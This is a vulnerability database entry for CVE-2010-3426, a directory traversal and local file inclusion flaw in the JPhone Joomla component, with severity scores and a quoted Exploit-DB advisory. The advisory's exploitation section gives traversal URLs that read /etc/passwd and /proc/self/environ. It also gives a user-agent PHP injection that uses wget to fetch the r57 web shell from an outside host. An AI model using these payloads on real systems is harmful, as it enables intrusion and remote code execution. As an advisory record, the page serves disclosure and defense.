CVE-2010-3426 : Detail

CVE-2010-3426

Directory Traversal
A01-Broken Access Control
0.97%V3
Network
2010-09-16
19h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

Directory traversal vulnerability in jphone.php in the JPhone (com_jphone) component 1.0 Alpha 3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 14964

Publication date : 2010-09-09 22h00 +00:00
Author : Chip d3 bi0s
EDB Verified : Yes

 JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion ========================================================================================= - Discovered by : Chip D3 Bi0s - Email : chipdebios[at]gmail[dot]com - Group : LatinHackTeam - Date : 2010-09-10 - Where : From Remote ------------------------------------------------------------------------------------- Affected software description Application : Jphone Developer : Urs Kobald Compatibility : 1.0 Alpha 3 License : GPLv2 or later Date Added : 14 Aug 2010 website : http://www.4you-studio.com Download : http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html I. BACKGROUND Called Jphone, component agency 4you studio allows for your Joomla adapted mobile version with a real interface using page transition effects rather pro (the cube effect and popup are very nice). Consisting of a component and a plugin for Joomla, it is after activating the plugin define a menu (the menu management of Joomla). This is to link the specific component to display your content. Currently seen by the articles, categories, sections are set but also those contacts and links Web (Two native Joomla components). The installation procedure is shown in the download package. In addition, the proposed version is an alpha version (therefore usable only for testing purposes) but resulted entirely in French. Feel free to share your opinion on the forum. Support for Android and PalmPre should be functional (not tested) II. DESCRIPTION Some Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3. III. ANALYSIS The bug is in the following files, specifying the lines /components/com_jphone/jphone.php [63] if($controller = JRequest::getVar('controller')) { [64] [65] require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php'); Explanation:As noted in the line [65] $controller nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :) IV. EXPLOITATION http://site/path/index.php?option=com_jphone&controller={LFI} {LFI}=../../../../../../../../../../etc/passwd%00 {LFI}=../../../../../../../../../../proc/self/environ%00 changing the user agent for something so: <?system('wget http://chipdebios.com/r57.txt -O r57.php');?> A special greeting to my good friends: F3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :) +++++++++++++++++++++++++++++++++++++++ [!] Produced in South America +++++++++++++++++++++++++++++++++++++++

Products Mentioned

Configuraton 0

4you-studio>>Com_jphone >> Version 1.0

Joomla>>Joomla\! >> Version *

References

http://www.exploit-db.com/exploits/14964
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/43147
Tags : vdb-entry, x_refsource_BID